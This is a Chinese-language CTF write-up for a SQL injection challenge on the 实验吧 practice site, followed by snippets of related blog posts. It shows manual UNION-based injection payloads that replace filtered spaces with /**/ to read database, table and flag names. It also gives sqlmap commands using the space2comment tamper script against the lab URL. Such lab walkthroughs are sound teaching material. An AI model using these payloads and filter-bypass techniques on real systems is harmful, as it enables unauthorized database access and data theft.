简单的sql注入——实验吧

刚刚做了实验吧的题目,现在整理一下

写出解题思路,希望能够帮助到那些需要帮助的人

所有的wp都是以一题一篇的形式写出

主要是为了能够让读者更好的阅读以及查找,

希望你们不要责怪!!共勉!!!

永远爱你们的————新宝宝

简单的sql注入分值:10

  • 来源: 实验吧
  • 难度:中
  • 参与人数:18007人
  • Get Flag:5644人
  • 答题人数:6513人
  • 解题通过率:87%

通过注入获得flag值(提交格式:flag{})。

解题链接: http://ctf5.shiyanbar.com/423/web/

解题思路:这一题涵盖的内容不多,但是也让我有了一些进步(毕竟我还是萌新呀!!)

这一题我使用了两种方法解决的(希望各位能够得到一些思路)

第一种方法:

首先:进行简单的手工注入:

1 and 1=1,通常这种情况会正常返回数据

1 and 1=2,通常这种情况不会返回数据或者直接报错

或者

    1’ and ‘1’=’1,通常这种情况会正常返回数据
    1’ and ‘1’=’2,通常这种情况不会返回数据或者直接报错
      分析:
      假如后台处理数据的sql语句(后台在输入上加了单引号)是:

select name from user where id=‘our_input‘

      我们输入1’ and ‘1’=’1,sql语句变为:

select name from user where id=‘1‘ and ‘1‘=‘1‘

       后台数据库仍然正常读取数据

       我们输入1’ and ‘1’=’2,sql语句变为:

select name from user where id=‘1‘ and ‘1‘=‘2‘

      这样查询条件为假,数据库不能读取数据。

基于上述的方式进行注入,我们首先使用 1and 1=1

如何 1 and 1=1‘

出现错误了,然后,我们再输入:1and 1=1

就会发现and被过滤了并且空格被替换为+,因此我们可以推断,这个题过滤了常用的sql命令,

可以输入union and select from进行下测试,发现果然全被过滤掉了

这个时候我们需要知道:当空格被过滤的时候,通常用()或者/**/代替空格

那么我们可以选择爆库:

1‘/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/‘1‘=‘1

  

就会得到:

再找一下表:

1‘/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/‘1‘=‘1

  

发现有flag的表,很开森就继续爆flag:

1‘/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/‘1‘=‘1

然而出现了错误(QAQ)

那么我们直接查询其内容吧:

1‘/**/union/**/select/**/flag/**/from/**/flag/**/where/**/‘1‘=‘1

就会得到:

第二种方法:

使用sqlmap也是可以的

这里我们会用到tamper,是Python写的,sqlmap一般自带,主要的作用是绕过WAF ,空格被过滤可以使用space2comment.py,

过滤系统对大小写敏感可以使用randomcase.py等等。
这里用的level参数是执行测试的等级(1-5,默认为1)
,sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会

测试HTTP
Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值

首先爆库:

python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --tamper=space2comment --dbs

其中:1.sqlmap:启动sqlmap。2.-u:参数 指目标的URL。3.--tamper:绕过WAF脚本。

4.space2comment :tamper脚本之一用于绕过过滤空格。5.--dbs列举数据库

然后在web1数据库中查找:

python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --tamper=space2comment -D web1 --table

其中:1.-D:后面跟数据库的名字。2.--tables:列举库中的表格

然后在flag表中继续查找

python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --tamper=space2comment -D web1 -T flag --colum

其中:1.-T:后面跟表格名字。2.--column列举表格中的列名

继续进行就会得到最后的结果:

其中:1.-C后面跟列的名字。2.--dump取出表单所有记录

如果有什么不明白的地方,留言或者加我!!! 
我很菜,所以我会努力的! 
努力是因为不想让在乎的人失望! 
博主整理不易,如果喜欢推荐关注一下博主哦!

博主喜欢广交好友下面是我的联系方式: 
QQ:1263030049

微信:liu1263030049
加好友前请注明原因谢谢

原文地址:https://www.cnblogs.com/lxz-1263030049/p/9296504.html

时间: 2024-07-29 08:29:56

简单的sql注入——实验吧的相关文章

简单的sql注入之2——实验吧

刚刚做了实验吧的题目,现在整理一下 写出解题思路,希望能够帮助到那些需要帮助的人 所有的wp都是以一题一篇的形式写出 主要是为了能够让读者更好的阅读以及查找, 希望你们不要责怪!!共勉!!! 永远爱你们的————新宝宝 简单的sql注入之2分值:10 来源: 北邮天枢战队 难度:中 参与人数:9517人 Get Flag:4472人 答题人数:4644人 解题通过率:96% 有回显的mysql注入 格式:flag{} 解题链接: http://ctf5.shiyanbar.com/web/ind

简单的SQL注入学习

引贴: http://blog.163.com/lucia_gagaga/blog/static/26476801920168184648754/ 首先需要编写一个php页面,讲php页面放入/opt/lampp/htdocs目录下: 解释一下这个页面: 1.通过if语句判断变量是否初始化 2.if语句中通过mysql_connect()函数连接数据库 3.连接数据库成功后,选择一个数据库 4.选择完数据库后执行一条mysql查询 5.进行查询结果的处理 6.使用echo讲查询结果输出,便于查看

简单的sql注入

另一种简单的sql注入

PHP中 简单的SQL注入分析

SQL注入原理:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 以下介绍SQL注入方式: 首先建表如下: 1 create database sqltest charset utf8 2 3 create table test ( 4 id int,5 name varchar(10), 6 age tinyint unsigned7 )engine=myisam charset=utf8 插入数据如下 我们分成字段为数值类型和

SEED实验系列:Collabtive系统SQL注入实验

本课程原文链接为:https://www.shiyanlou.com/courses/291.实验楼已经为此课程的实践提供了在线实验环境,想要尝试体验的,可以直接前往实验楼进行实践操作. 你能够喜欢我们的课程,让我们感到异常高兴,我们也非常欢迎你将本课程分享给更多的人,我们唯一的要求就是请保留我们的课程原文链接. 一.实验描述 SQL注入漏洞的代码注入技术,利用web应用程序和数据库服务器之间的接口.通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意

记一次简单的sql注入

 什么是sql注入攻击?  所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令.在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击. 1.判断注入点是否有效 sqlmap -u "http://xxx.xxx.com/product.php?type_id=59" 2,查找数据库 sqlmap -u "http://xxx.x

实验吧 简单的SQL注入1

解题链接:http://ctf5.shiyanbar.com/423/web/ 解题思路:一,   输入1,不报错:输入1',报错:输入1'',不报错. 二 ,   输入1 and 1=1,返回1 1=1,可知,and被过滤了. 三,    输入1 union select,返回1 select,猜测关键词被过滤. 四,    用/**/代替空格,爆库:1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schem

c#配置问题以及简单防止sql注入,连接池问题,sqldatareader对象对于connection对象的释放

添加引用.system configuration configurationManager.AppSettings[""] <appSetings> <add key="" value=""> </appSetings> <connectionStrings> <add key="" connectionString=""> </conne

[C++]简单的SQL注入过滤

前几天帮一个客户写了一个C++连接MySQL,当他用到他的游戏中后,被人注射了,用了一个永真式,无限的刷了游戏装备 所以,我针对参数和整体SQL语句写了两个简单的函数,进行简单的过滤 bool CheckSQL(string sql) { string key[9] = { "%","/","union","|","&","^" ,"#","/*&q